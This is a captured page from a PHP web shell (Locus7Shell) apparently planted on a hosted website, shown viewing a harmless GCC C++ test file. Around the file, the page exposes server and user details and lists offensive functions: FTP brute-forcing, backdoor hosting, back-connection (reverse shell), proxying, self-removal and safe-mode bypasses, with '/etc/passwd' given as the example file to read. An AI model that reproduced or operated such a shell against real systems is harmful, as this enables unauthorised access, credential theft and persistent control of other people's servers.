Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/torture/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr91606.C (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-additional-options "-fstrict-aliasing" } */

#include <cstdlib>
#include <array>
#include <type_traits>

template <typename T1, typename T2>
struct variant
{
  constexpr variant(T1 arg)
      : f1(arg),
      index(0)
  {}

  constexpr variant(T2 arg)
      : f2(arg),
      index(1)
  {}

  union
    {
      T1 f1;
      T2 f2;
    };
  std::size_t index = 0;
};

template <typename T1, typename T2>
constexpr const T1* get_if(const variant<T1, T2>* v)
{
  if (v->index != 0)
    {
      return nullptr;
    }
  return &v->f1;
}

template <typename T2, typename T1>
constexpr const T2* get_if(const variant<T1, T2>* v)
{
  if (v->index != 1)
    {
      return nullptr;
    }
  return &v->f2;
}

template <typename T, size_t N>
struct my_array
{
  constexpr const T* begin() const
    {
      return data;
    }

  constexpr const T* end() const
    {
      return data + N;
    }

  T data[N];
};

template <typename ...Ts>
constexpr auto get_array_of_variants(Ts ...ptrs)
{
  return std::array<variant<std::decay_t<Ts>...>, sizeof...(Ts)>{ ptrs... };
}

template <typename T>
constexpr auto get_member_functions();

template <typename Member, typename Class>
constexpr int getFuncId(Member (Class::*memFuncPtr))
{
  int idx = 0u;
  for (auto &anyFunc : get_member_functions<Class>())
    {
      if (auto *specificFunc = get_if<Member (Class::*)>(&anyFunc))
    {
      if (*specificFunc == memFuncPtr)
        {
          return idx;
        }
    }
      ++idx;
    }
  std::abort();
}

struct MyStruct
{
  void fun1(int /*a*/) {}

  int fun2(char /*b*/, short /*c*/, bool /*d*/) { return 0; }

};

template <>
constexpr auto get_member_functions<MyStruct>()
{
  return get_array_of_variants(&MyStruct::fun1, &MyStruct::fun2);
}

int main()
{
  return getFuncId(&MyStruct::fun1);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--